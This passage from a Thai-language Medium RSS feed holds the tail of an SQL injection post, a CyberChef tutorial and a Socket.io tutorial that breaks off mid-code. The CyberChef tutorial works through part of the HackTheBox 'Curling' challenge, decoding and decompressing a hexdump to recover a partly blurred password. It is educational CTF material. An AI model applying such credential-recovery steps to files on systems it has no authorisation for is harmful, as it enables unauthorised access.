และสุดท้ายนี้ผมอาจจะเขียนบทความลงรายละเอียดช่องโหว่ SQL injection ว่ามี step มีขั้นตอนหาช่องโหว่ยังไง ,sqlmap ทำงานอย่างไร หรืออาจจะเป็นบทความในอีก 6 หัวข้อที่เหลือที่ผมจะนั่งเล่น ถ้าผู้อ่านเห็นว่าบทความนี้มีประโยชน์กับก็อย่าลืมแชร์ไปให้เพื่อนๆอ่านนะครับ</p><blockquote>Try Harder &amp; Happy hacking</blockquote><p><strong>Reference</strong></p><p><a href="https://support.portswigger.net/customer/portal/articles/2945928-using-burp-collaborator-client">https://support.portswigger.net/customer/portal/articles/2945928-using-burp-collaborator-client</a><br><a href="https://portswigger.net/web-security/sql-injection/cheat-sheet">https://portswigger.net/web-security/sql-injection/cheat-sheet</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=568e48df75be" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[เครื่องมือในการทำ encrypting, encoding, compression เบื้องต้นผ่านเว็บ GUI แบบง่ายๆ ด้วย “CyberChef”]]></title>
            <link>https://medium.com/@idealphase/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%B7%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B9%83%E0%B8%99%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%97%E0%B8%B3-encrypting-encoding-compression-%E0%B9%80%E0%B8%9A%E0%B8%B7%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%95%E0%B9%89%E0%B8%99%E0%B8%9C%E0%B9%88%E0%B8%B2%E0%B8%99%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A-gui-%E0%B9%81%E0%B8%9A%E0%B8%9A%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B9%86-%E0%B8%94%E0%B9%89%E0%B8%A7%E0%B8%A2-cyberchef-d252d77f0a1d?source=rss-f6280327857e------2</link>
            <guid isPermaLink="false">https://medium.com/p/d252d77f0a1d</guid>
            <category><![CDATA[encryption]]></category>
            <category><![CDATA[decryption]]></category>
            <category><![CDATA[decode]]></category>
            <category><![CDATA[cyberchef]]></category>
            <category><![CDATA[encode]]></category>
            <dc:creator><![CDATA[idealphase]]></dc:creator>
            <pubDate>Sun, 31 Mar 2019 13:44:00 GMT</pubDate>
            <atom:updated>2019-03-31T19:32:30.900Z</atom:updated>
            <content:encoded><![CDATA[<h3>ที่มา</h3><p>ผมตั้งเป้าหมายไว้ว่าจะสอบ certificate ตัวนึงที่มีชื่อว่า OSCP (Offensive Security Certified Professional)โดย 3 เดือนที่ผ่านมานี้ผมได้ทำโจทย์แบบฝึกหัดที่มีลักษณะคล้ายกับข้อสอบของ OSCP ผ่านเว็บ <a href="https://www.hackthebox.eu/">https://www.hackthebox.eu</a> (ฟรี!! แต่ต้องใช้แรงในการหา Invite code นิดนึง เสมือนเป็นโจทย์ข้อแรกให้เราหา Invite code) โดยมีโจทย์ข้อนึงชื่อว่า “Curling” ที่ผมทำผ่านไปแล้ว แต่ก็พึ่งถึงกำหนดเวลาที่จะสามารถให้เขียนเฉลยได้ในวันที่ผมเขียนบทความนี้ โดยปกติ จะมี Youtube Channel นึงชื่อว่า IppSec <a href="https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA">https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA</a> ที่เขาจะอัด Video เฉลยและสอนวิธีทำโจทย์ข้อต่างๆ โดยผมมักจะติดตามมาดูว่า Youtuber คนนี้ใช้วิธีการอะไร หรือเครื่องมืออะไรในการทำโจทย์ข้อนี้ และก็เป็นที่มาให้ผมได้รู้จักกับ tools ตัวนึงที่มีชื่อว่า “CyberChef” และผมก็พบว่ายังไม่ค่อยมีบทความเขียนถึงเครื่องมือนี้ซักเท่าไร ผมเลยอยากแนะนำเครื่องมือตัวนี้ให้ผู้อ่านได้ลองรู้จักครับ</p><h3><strong>CyberChef คืออะไร?</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*SoZemSxF37OZcqioZY73uA.jpeg" /></figure><p>CyberChef คือ เว็บฟรี!!! ที่รวบรวมเครื่องมือในการทำ encryption, decryption, encode, decode, compress, decompress และอื่นๆอีกมากมาย (สามารถเลื่อนดูได้จาก แถบ Operations ที่จะกล่าวภายหลังบนบทความนี้) โดย CyberChef เป็นเครื่องมือ opensource อยู่บน Github : <a href="https://github.com/gchq/CyberChef">https://github.com/gchq/CyberChef</a> และมีคนกด star ให้กว่า 4000 ดวง โดยผู้อ่านสามารถเข้าไปลองใช้งานได้ที่ <a href="https://gchq.github.io/CyberChef">https://gchq.github.io/CyberChef</a> ซึ่งเป็น URL หลักที่เขียนไว้ที่ Github repository</p><h3>โจทย์ที่ผมเจอคืออะไร?</h3><p>*ขออนุญาตแสดงให้เห็นว่าถ้าเราไม่ใช้เครื่องมือ CyberChef ปกติแล้วเราต้องทำอะไรบ้างผ่าน Command line</p><p>ในโจทย์ข้อนี้ พอเราทำไปถึงจุดจุดนึง เราจะพบกับไฟล์ที่ชื่อว่า “password_backup” และเมื่อเราลองใช้คำสั่ง cat เพื่อดูเนื้อหาข้างในจะพบผลลัพธ์ของการทำ hexdump ของไฟล์ไฟล์นึง</p><blockquote>$ cat password_backup</blockquote><blockquote>00000000: 425a 6839 3141 5926 5359 819b bb48 0000 <strong>BZh</strong>91AY&amp;SY…H..</blockquote><blockquote>00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ….A…P)ava.:4</blockquote><blockquote>00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N…n.T.#.@%…`</blockquote><blockquote>00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ……z.@……</blockquote><blockquote>00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi…9.h..</blockquote><blockquote>00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh……..4</blockquote><blockquote>00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i…5.n……J..</blockquote><blockquote>00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h…*..}y..&lt;~.x</blockquote><blockquote>00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .&gt;…sVT.zH….1</blockquote><blockquote>00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V…!3.`F…s.”</blockquote><blockquote>000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n….7j:X.d.R.</blockquote><blockquote>000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./… ….)p..</blockquote><blockquote>000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;…..9…P.C</blockquote><blockquote>000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P…HB….*..</blockquote><blockquote>000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P.</blockquote><blockquote>000000f0: 819b bb48 …H</blockquote><p>ซึ่งวิธีการที่ผมใช้ในการแก้โจทย์นี้ก็คือจะมองหาสิ่งที่เรียกว่า File Signature หรือ Magic number นั้นก็คือสิ่งที่ไว้บ่งบอกถึงไฟล์แต่ละประเภท ในที่นี้ก็คือ “BZh” ซึ่งเป็น 3 ตัวอักษรแรกของเนื้อหาในไฟล์นี้ (ไฟล์นามสกุลอื่นอาจจะต้อง copy ไปมากกว่า 3 ตัวนะครับ) เมื่อเราลองนำข้อความ “BZh” ไปหาดูในแหล่งรวบรวม File Signature ในที่นี้ผมใช้ <a href="https://en.wikipedia.org/wiki/List_of_file_signatures">https://en.wikipedia.org/wiki/List_of_file_signatures</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*CCCjv7_lVMKQSnOeAOgSBg.png" /></figure><p>ก็จะพบว่า “BZh” นั้นคือ Magic number ของไฟล์นามสกุล .bz2 นั้นหมายความว่าเนื้อหาของไฟล์ password_backup จริงๆแล้วคืออีกไฟล์นึงที่เป็นไฟล์นามสกุล .bz2<br>ผมก็ต้องใช้ Linux command xxd ในการสร้างไฟล์ .bz2 จากเนื้อหาของไฟล์ password_backup และ command file ในการตรวจสอบชนิดของไฟล์ซึ่งถ้าไปอ่านใน manual ของคำสั่งนี้ โดยการพิมพ์คำสั่ง man file ใน Linux system ก็จะพบว่าหนึ่งในขั้นตอนการตรวจสอบชนิดของไฟล์ก็คือดูที่ Magic number นั้นเอง</p><blockquote>$ xxd -r password_backup &gt; 1.bz2</blockquote><blockquote>$ file 1.bz2</blockquote><blockquote>bz2: bzip2 compressed data, block size = 900k</blockquote><p>และ bzip2 คือไฟล์ที่อัดย่อขนาดไว้ (compress) คล้ายๆ .zip หรือ .7z ที่เรารู้จักกันดีเพราะฉะนั้นเราก็ต้องทำการแตกไฟล์ (decompress) เพื่อดูว่าจริงๆแล้วมันซ่อนอะไรไว้ข้างใน ด้วยคำสั่ง bzip2 เราจะได้ไฟล์ชื่อว่า 1 มา แล้วก็ต้องมาดูชนิดของไฟล์ด้วยคำสั่ง file เหมือนเดิมและเราก็จะพบว่ามันคือ ไฟล์ที่มีนามสกุลเป็น .gzip ก็ต้องแตกไฟล์อีกหนึ่งทีและก็ต้องวนทำแบบนี้ไปเรื่อยๆ จนกว่ามันจะไม่ใช่ไฟล์ที่ถูกย่อขนาดมา ซึ่งในที่นี้ก็คือ password.txt และเนื้อหาข้างในไฟล์ก็คือ password ที่เราต้องนำไปใช้ login เพื่อทำขั้นตอนต่อไปในโจทย์</p><blockquote>$ bzip2 -v -d 1.bz2</blockquote><blockquote>$ file 1</blockquote><blockquote>1: gzip compressed data, was “password”, last modified: Tue May 22 19:16:20 2018, from Unix, original size 141</blockquote><blockquote>$ zcat 1 &gt; 2</blockquote><blockquote>$ file 2</blockquote><blockquote>2: bzip2 compressed data, block size = 900k</blockquote><blockquote>$ bzcat 2 &gt; 3</blockquote><blockquote>$ file 3</blockquote><blockquote>3: POSIX tar archive (GNU)</blockquote><blockquote>$ tar -xvf 3</blockquote><blockquote>password.txt</blockquote><blockquote>$ cat password.txt</blockquote><blockquote>5d***CbdZu)|hCh*** ( ขออนุญาตเบลอไว้นะครับ ผู้อ่านสามารถไปลองทำใน CyberChef ได้เองเลยครับ :D )</blockquote><p>พออ่านมาถึงจุดจุดนี้ จะเห็นว่าเราจะต้องเจอกับไฟล์ของการย่อขนาด นามสกุลต่างๆ ไม่ว่าจะเป็น .bz2 .gz .tar ซึ่งแต่ละนามสกุลก็ต้องใช้ command ในการ decompress แตกต่างกัน ที่นี้เราไปดูกันว่า ถ้าเรารู้จักกับ “CyberChef” มันจะช่วยให้วิธีการต่างๆข้างบนง่ายขึ้นมากน้อยเพียงใด</p><h3>วิธีการใช้ CyberChef กับการแก้โจทย์นี้</h3><ol><li>อันดับแรกเข้าไปที่ <a href="https://gchq.github.io/CyberChef">https://gchq.github.io/CyberChef</a></li></ol><p>2. copy ข้อความของไฟล์ password_backup ข้างต้นไปใส่ในส่วน Input ขวาบน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VtODnr1AWpGLVyRC8Fsp6Q.png" /></figure><p>3. พิมพ์คำว่า Hex บนช่อง Search มุมซ้ายบนและให้มองหาคำว่า From Hexdump จากนั้นลากมันมาใส่ในช่อง Recipe ตรงกลางของจอ และเราจะสังเกตเห็นผลลัพธ์ในช่อง Output ขวาล่างจอ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RPu550OBnNnXbDkQCMVB2A.png" /></figure><p>4. พิมพ์คำว่า detect บนช่อง search เช่นเดิมและให้เรียกใช้งานคำสั่ง “Detect File Type” โดยการลากมาต่อไว้ข้างล่างจากคำสั่ง “From Hexdump” ก่อนหน้านี้เพื่อให้ผลลัพธ์บอกเราว่าไอข้อความที่อยู่ในช่อง Output ตอนนี้จริงๆมันคือไฟล์ชนิดอะไร</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UH6gdRo9MEddpDi-lbxaAQ.png" /></figure><p>5. จากช่อง Output เราพบว่ามันคือไฟล์ bz2 เพราะฉะนั้นเราก็ต้องหาคำสั่งในการแตกไฟล์ (decompress) โดยการพิมพ์ในช่อง search ว่า bz แล้วเราจะเจอคำสั่ง “Bzip2 Decompress” ก็ลากมันมา แต่ในที่นี้เราจะไม่ได้ลากมาไว้ท้ายสุดต่อจาก Detect File Type แต่เราจะลากมาไว้ก่อนหน้า เพราะว่า เราต้องการให้มันแตกไฟล์ก่อนแล้วค่อยดูต่อว่าพอแตกไฟล์แล้วจะได้เป็นไฟล์อะไร</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*McGzPU8wcpQpoym_ioyPGg.png" /></figure><p>6. เช่นเคย จากช่อง Output เราพบไฟล์นามสกุล gz ก็นำคำว่า gz ไปหาต่อ แต่ในที่นี้ถึงแม้ว่าเราไม่เจอคำสั่งเช่น “gz decompress” และเราก็ไม่รู้ว่า คำสั่ง gunzip สามารถใช้ในการแตกไฟล์ .gz ได้ เมื่อเรานำเมาส์ไปชี้ที่คำว่า gunzip มันจะเด้งบอกรายละเอียดมาว่า gunzip สามารถใช้ในการแตกไฟล์ .gz ได้นะ เราก็ลากมันมาใช้งานต่อจาก Bzip2 Decompress เลย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*S8VtNWGXTkd15cxKyZMOww.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D1DCaoQ3szsaycwpmxcydA.png" /></figure><p>7. เจอไฟล์นามสกุล .bz2 อีกแล้ว ลากคำสั่ง “Bzip2 Decompress” มาต่อเช่นเคยเหมือนข้อ 5 (ขออนุญาตไม่แปะรูปในขั้นตอนนี้)</p><p>8. เจอไฟล์นามสกุล .tar ก็ให้พิมพ์ในช่อง Search ว่า tar ก็จะพบกับคำสั่ง “Untar” ที่เราไว้แตกไฟล์ .tar ก็ลากแปะต่อเลย แต่หลังจากแปะคำสั่ง “Untar” ไปแล้ว ในช่อง output จะขึ้นข้อความว่า “Unknown file type.” หรือว่าไม่รู้จักไฟล์นามสกุลนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jXzqNfaTwtGrCScfDTvovw.png" /></figure><p>ก็ให้เรากดยกเลิกคำสั่งสุดท้าย Detect File Type ออก ทำได้โดยการกดปุ่ม วงกลมแล้วมีขีดทับดังรูป</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cBl3dm-4jOGZ2p5L5KEOTw.png" /></figure><p>พอกดปุ่มแล้วก็จะเป็นการยกเลิกไม่ให้คำสั่ง “Detect File Type” ทำงานชั่วคราว (พื้นหลังจะเปลี่ยนเป็นสีเทา) เพื่อเราจะดูผลลัพธ์ของคำสั่ง Untar ได้ โดยในส่วน Output เราจะพบไฟล์ password.txt ที่เราต้องการ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e7_dmYOCZbAsIqiQM8aL8Q.png" /></figure><p>และก็ทำการกดที่ชื่อไฟล์เพื่อแสดงเนื้อหาของไฟล์ เราก็จะได้ password ออกมา (ผมเบลอ 3 หลักท้ายไว้นะครับ สามารถลองทำตามได้เลยครับจะเห็นครบทุกตำแหน่ง)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ISFgD4gFn4aEKxNm6Obb7g.png" /></figure><h3>สรุป</h3><p>ก็จบไปแล้วนะครับ สำหรับตัวอย่างการใช้งาน CyberChef เบื้องต้น โดยคำสั่งส่วนใหญ่จะเป็นการแตกไฟล์ (decompress)ใน CyberChef ตามโจทย์ของผม แต่ CyberChef ก็ยังมีอีกหลายคำสั่งให้ใช้งานเช่นการเข้ารหัส ถอดรหัส (encryption, decryption) การ encode, decode แบบต่างๆ การแปลงรูปแบบของข้อมูล และอื่นๆอีกมากมาย ลองไป search หาในช่อง search ได้เลยครับ และผู้อ่านสามารถดู Video เพื่อให้เห็นภาพที่ชัดเจนขึ้นที่ลิ้งข้างล่างนี้ <a href="https://youtu.be/Paajc2Dupms?t=1530">https://youtu.be/Paajc2Dupms?t=1530</a> หรือสามารถลอง copy ข้อความข้างบนในส่วน password_backup ไปลองทำได้ตามได้นะครับเพื่อให้เห็นภาพการทำงานที่ชัดเจนยิ่งขึ้น สุดท้ายนี้ขอขอบคุณที่อ่านมาถึงจุดจุดนี้นะครับ ถ้าเนื้อหาผิดพลาดประการใด ก็ขออภัย ณ ที่นี้นะครับ (ถ้าสะดวกข้อความมาหลังไมล์ให้ผมแก้ไขด้วย จะเป็นพระคุณอย่างยิ่งครับ)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d252d77f0a1d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Socket.io 101]]></title>
            <link>https://medium.com/@idealphase/socket-io-101-47f93c33af2f?source=rss-f6280327857e------2</link>
            <guid isPermaLink="false">https://medium.com/p/47f93c33af2f</guid>
            <category><![CDATA[socketio]]></category>
            <dc:creator><![CDATA[idealphase]]></dc:creator>
            <pubDate>Tue, 17 Oct 2017 18:22:47 GMT</pubDate>
            <atom:updated>2017-10-17T18:22:47.212Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*tOitxCwTNcS3ESstLylmtg.png" /></figure><h3>เกริ่นนำ</h3><p>ก่อนอื่นต้องขอบอกก่อนว่าผมไม่เคยเขียนอะไรแบบนี้ เพราะ คิดว่าอธิบายไม่ค่อยเก่ง แต่ด้วย อาจารย์ที่ปรึกษาโปรเจคจบ ได้แก่ อาจารย์ สุรศักดิ์ สงวนพงษ์ อยากให้มีการจดบันทึกเป็นรายงานว่าทำอะไรไปบ้าง ผมจึงตัดสินใจว่าจะเขียน medium ไว้ เผื่อจะมีประโยชน์แก่ผู้ที่สนใจเข้ามาอ่านไม่มากก็น้อย ปล. ถ้าผิดพลาดประการใดในด้านเทคนิคก็อภัยมา ณ ที่นี้ และช่วยกรุณาแจ้งเข้ามา เพื่อจะได้ทำการแก้ไขต่อไป</p><p>เนื่องจากเป็น story แรก ผมจึงขออนุญาติเกริ่นแนะนำตัวนิดนึงนะครับ ผมศึกษาอยู่ ที่ ภาควิชาวิศวกรรมคอมพิวเตอร์ คณะวิศวกรรมศาสตร์ มหาวิทยาลัยเกษตรศาสตร์ ชั้น ปีที่ 4 ซึ่งก็ทำโปรเจคจบ หรือ Senior Project โดยตัวผมอยู่แลป ANRES หรือย่อมาจาก Applied Network Research Laboratory ซึ่งเป็นแลปทำวิจัยเกี่ยวกับงานด้าน Network โดยมี อาจารย์ สุรศักดิ์ สงวนพงษ์ เป็นอาจารย์ประจำแลป ซึ่งหัวข้อโปรเจคของผมคือ “Development of DNS Analyzer System for E-crime Detection” ซึ่งเป็นระบบที่คอยนำ dns packet มาวิเคราะห์หาพฤติกรรมการใช้งานที่ผิดปกติ และ นำผลการวิเคราะห์มาแสดงบน Web browserให้ Network Administrator เพื่อจะได้<br>หา E-crime หรือภัยคุกคามที่อาจจะมาสร้างความเสียหายให้แก่ Network ได้นั้นเอง<br>ซึ่งโปรเจคของผมก็จะมีการใช้ socket.io ในการดึงข้อมูลมาแสดงผลแบบ Real-time ที่หน้า Dash Board ให้แก่ Network Administrator นั้นเอง</p><h3>Socket.io คืออะไร?</h3><p>ขอเข้าเรื่องหัวข้อใน story นี้นะครับ นั้นก็คือ Socket.io โดยตัว Socket.io เป็น JavaScript frameworks ที่เอาไว้เรียกใช้งาน Websocket เพื่อคอยรับส่งข้อมูลจาก client-browser และ server และทำงานในแบบ Real-time ตัวอย่างของการใช้งาน Websocket เช่น Chat room , Document collaboration ซึ่งจะแตกต่างจากรูปแบบการทำงานของเว็บทั่วไปหรือ RESTful HTTP ซึ่งจะมีลักษณะการทำงานแบบ Request-Respond นั้นคือ เมื่อ Client ทำการส่ง Request หน้าเว็บไป ตัว Server ก็จะตอบกลับมาด้วย Respond และจะทำงานในลักษณะนี้ไปเรื่อยๆ แต่ในการทำงานของ Websocket นั้นจะลักษณะ event-based communication<em> </em>นั้นคือ จะทำงานตามที่เราเขียน code ไว้ เช่น ถ้าเกิดเหตุการณ์ A ก็ให้ส่งข้อมูล B ไป เป็นต้น ดังรูปประกอบ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*cCG8SC9D2rsqSYpItDRL8g.jpeg" /></figure><p>โดย Link ศึกษาของ socket.io ก็คือ <a href="https://socket.io/get-started/">https://socket.io/get-started/</a> โดยจะเป็นการสอนเขียน Chat application ซึ่งตัวผมก็ได้ลองศึกษาและทำความเข้าใจที่ Link ดังกล่าวเช่นเดียวกัน (สามารถหาข้อมูลเพิ่มเติมได้ครับ)</p><h3>Set up</h3><p>ก่อนอื่นเลยต้องติดตั้ง node , npm เข้าไป Download และติดตั้งได้ที่ <a href="https://nodejs.org/en/download/">https://nodejs.org/en/download/</a></p><p>พอติดตั้งเสร็จสิ้นก็สามารถตรวจสอบการติดตั้งได้โดยพิมพ์ใน terminal</p><pre>$ node -v &amp;&amp; npm -v</pre><p>ก็จะได้เป็น version ที่เราติดตั้ง โดยของผมจะเป็น v6.11.4 , 3.10.10 ตามลำดับ<br> โดยก่อนอื่นต้องทำการสร้าง Folder และทำการ npm init เพื่อกรอกรายละเอียดของโปรเจคคร่าวๆ</p><pre>$ mkdir socketio;cd socketio<br>$ npm init</pre><p>และหลังจากกรอกรายละเอียดเช่น ชื่อโปรเจค , version , git repo , keywords เป็นต้น และเราก็จะได้ไฟล์ <strong>package.json</strong> ซึ่งเป็นไฟล์ที่เก็บรายละเอียดของโปรเจคเราไว้โดยเราก็สามารถแก้ไขข้อมูลในไฟล์ได้เสมอ</p><pre>$ cat package.json                                                                                                                                          <br>{<br>  &quot;name&quot;: &quot;socketio&quot;,<br>  &quot;version&quot;: &quot;1.0.0&quot;,<br>  &quot;description&quot;: &quot;play with socket.io&quot;,<br>  &quot;main&quot;: &quot;index.js&quot;,<br>  &quot;scripts&quot;: {<br>    &quot;test&quot;: &quot;echo \&quot;Error: no test specified\&quot; &amp;&amp; exit 1&quot;<br>  },<br>  &quot;keywords&quot;: [<br>    &quot;socket.io&quot;<br>  ],<br>  &quot;author&quot;: &quot;idealphase&quot;,<br>  &quot;license&quot;: &quot;MIT&quot;<br>}</pre><p>ต่อมาก็ทำการติดตั้ง express และ socket.io โดยใช้ npm โดยถ้าเราใส่ ( — save) ไว้ตอน install จะเป็นการเข้าไปเพิ่มในส่วนของ dependencies ไว้ไป เพื่อเป็นประโยชน์ต่อการ Deploy ไปติดตั้งที่เครื่องอื่น</p><pre>$ npm install --save express@4.15.2<br>$ npm install --save socket.io</pre><p>โดยถ้าเราลอง cat file package.json มาดู ก็จะเห็น หัวข้อ dependencies เพิ่มขึ้นมานั้นเอง</p><pre>$ cat package.json                                                                                                                                          <br>{<br>  &quot;name&quot;: &quot;socketio&quot;,<br>  &quot;version&quot;: &quot;1.0.0&quot;,<br>  &quot;description&quot;: &quot;play with socket.io&quot;,<br>  &quot;main&quot;: &quot;index.js&quot;,<br>  &quot;scripts&quot;: {<br>    &quot;test&quot;: &quot;echo \&quot;Error: no test specified\&quot; &amp;&amp; exit 1&quot;<br>  },<br>  &quot;keywords&quot;: [<br>    &quot;socket.io&quot;<br>  ],<br>  &quot;author&quot;: &quot;idealphase&quot;,<br>  &quot;license&quot;: &quot;MIT&quot;,<br> <strong> &quot;dependencies&quot;: {<br>    &quot;express&quot;: &quot;^4.15.2&quot;,<br>    &quot;socket.io&quot;: &quot;^2.0.3&quot;<br>  }</strong><br>}</pre><h3>เริ่มเขียน Socket.io</h3><p>โดยงานที่ผมจะเขียนก็คือ การดึงข้อมูลการใช้งาน Resource ของ Server ได้แก่</p><ol><li>CPU</li><li>Memory</li><li>Disk</li></ol><p>มาแสดงผลแบบ Real-time ทุกๆ 1 วินาทีในรูปแบบ text และเมื่อได้เป็น text แล้วก็จะนำไปแสดงผลเป็น graph ต่อไป</p><p>โดยอันดับแรกต้องสร้างไฟล์ index.js และ index.html มา โดย ไฟล์ index.js จะเปรียบเสมือนการทำงานที่เครื่อง server และ ไฟล์ index.html คือจะคอยรับข้อมูลจาก server มาเพื่อนำมาแสดงผลที่ browser ต่อไป<br>โดยเพื่อความเข้าใจและเห็นภาพชัดยิ่งขึ้นให้ลอง copy code ตัวอย่างของผมไป</p><blockquote>index.html</blockquote><pre>&lt;!doctype html&gt;<br>&lt;html&gt;<br>    &lt;head&gt;<br>        &lt;title&gt;Socket.IO&lt;/title&gt;<br>    &lt;/head&gt;<br>    &lt;body&gt;<br>        &lt;h3&gt;Clock&lt;/h3&gt;<br>        &lt;div id=&quot;date&quot;&gt;&lt;/div&gt;<br>        &lt;h3&gt;CPU&lt;/h3&gt;<br>        &lt;div id=&quot;cpu&quot;&gt;&lt;/div&gt;<br>        &lt;h3&gt;Memory&lt;/h3&gt;<br>        &lt;div id=&quot;memory&quot;&gt;&lt;/div&gt;<br>        &lt;h3&gt;Disk&lt;/h3&gt;<br>        &lt;div id=&quot;disk&quot;&gt;&lt;/div&gt;</pre><pre>&lt;script src=&quot;/socket.io/socket.io.js&quot;&gt;&lt;/script&gt;<br>        &lt;script src=&quot;<a href="https://code.jquery.com/jquery-1.11.1.js">https://code.jquery.com/jquery-1.11.1.js</a>&quot;&gt;&lt;/script&gt;<br>        &lt;script&gt;<br>            <strong>var socket = io.connect(&#39;</strong><a href="http://localhost:3000&#39;"><strong>http://localhost:3000&#39;</strong></a><strong>);</strong><br>            <strong>socket.on(&#39;connect&#39;,function(data) {<br>                socket.emit(&#39;join&#39;,&#39;Hello world from client&#39;);<br>            });</strong><br><br>        &lt;/script&gt;</pre><pre>&lt;/body&gt;<br>&lt;/html&gt;</pre><blockquote>index.js</blockquote><pre>var app = require(&#39;express&#39;)();<br>var http = require(&#39;http&#39;).Server(app);<br>var io = require(&#39;socket.io&#39;)(http);<br>http.listen(3000, function(){<br>      console.log(&#39;listening on *:3000&#39;);<br>});</pre><pre>app.get(&#39;/&#39;, function(req, res){<br>      res.sendFile(__dirname+&#39;/index.html&#39;);<br>});</pre><pre>io.on(&#39;connection&#39;,function(client){<br>    console.log(&#39;Client connected..&#39;);<br>    <strong>client.on(&#39;join&#39;,function(data){<br>        console.log(data);<br>    });</strong><br>});</pre><p>เมื่อทำการสร้างไฟล์ ทั้ง 2 ไฟล์แล้ว ก็ลองมาดูผลการทำงานกันก่อนละกันครับ ก่อนที่ผมจะอธิบายการทำงานของมัน วิธี run คือใน Terminal ให้ใช้คำสั่ง</p><pre>$ node index.js<br>listening on *:3000</pre><p>และเมื่อเรียกแล้วก็จะมีข้อความขึ้นดังที่เราเขียน code ไว้ และเมื่อเราลองเปิด Browser และเรียก localhost:3000 ก็จะได้หน้าตาดังนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/235/1*U_ttJaX4scATSu67z9p7EA.png" /></figure><p>และใน Terminal ก็จะแสดงข้อความดังนี้</p><pre>Client connected..<br>Hello world from client</pre><p>ตามที่ code ไว้เขียนไว้ ทีนี้มาดูว่ามันเกิดอะไรขึ้น ตอนที่เราเรียกหน้าเว็บ localhost:3000 โดยให้ดูในส่วนของที่ผมทำ<strong>ตัวหนา</strong>ไว้ นั้นคือ</p><pre><strong>var socket = io.connect(&#39;</strong><a href="http://localhost:3000&#39;"><strong>http://localhost:3000&#39;</strong></a><strong>);</strong><br><strong>socket.on(&#39;connect&#39;,function(data) {<br>    socket.emit(&#39;join&#39;,&#39;Hello world from client&#39;);<br>});</strong></pre><p>บรรทัดแรกคือ io ขอ connect ไปที่ <a href="http://localhost:3000/">http://localhost:3000</a> ที่เป็นเสมือน server ที่เราสั่งรันไว้ใน Terminal และเมื่อมันทำการ connect ไปเสร็จ มันก็จะทำการ emit event ชื่อว่า “join” ด้วย data ว่า “Hello world from client” ไปให้ server ทีนี้มาดูในส่วน code ของ server กัน นั้นคือ</p><pre><strong>client.on(&#39;join&#39;,function(data){<br>        console.log(data);<br>});</strong></pre><p>นั้นก็คือ client จะทำการรอรับ event ที่ชื่อว่า “join” และข้อมูลที่ส่งมาก็จะอยู่ในตัวแปร data และจึงนำไปแสดงผลใน Terminal ด้วยคำสั่ง console.log(); นั้นเอง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/211/1*QZjGPiSmnbl96Gp4BNACqA.png" /></figure><blockquote>“ โดยสรุปคร่าวๆ คือการทำงานจะเป็นในลักษณะของการรับ-ส่ง ข้อมูลส่งมาผ่านชื่อ event</blockquote><blockquote>โดยฝั่งที่ต้องการจะส่งก็จะใช้คำสั่ง socket.emit(‘ชื่อevent’,’ข้อมูลที่จะส่ง’)</blockquote><blockquote>และในฝั่งที่ต้องการรับก็จะใช้คำสั่ง socket.on(‘ชื่อevent’,’ข้อมูลที่รับมา’) ”</blockquote><h3>1. Event clock</h3><p>เพื่อความเข้าใจมากยิ่งขึ้นเราจะลองให้ server ส่งข้อมูลเวลา ณ ปัจจุบันไปแสดงผลที่ Browser</p><p>โดยทำการเพิ่ม Code ไปดังนี้ (ส่วนที่เพิ่มมาคือ ส่วนที่ทำ<strong>ตัวหนา</strong>)</p><blockquote>index.html</blockquote><pre>&lt;script&gt;<br>            var socket = io.connect(&#39;<a href="http://localhost:3000&#39;">http://localhost:3000&#39;</a>);<br>            socket.on(&#39;connect&#39;,function(data) {<br>                socket.emit(&#39;join&#39;,&#39;Hello world from client&#39;);<br>            });<br>        <strong>    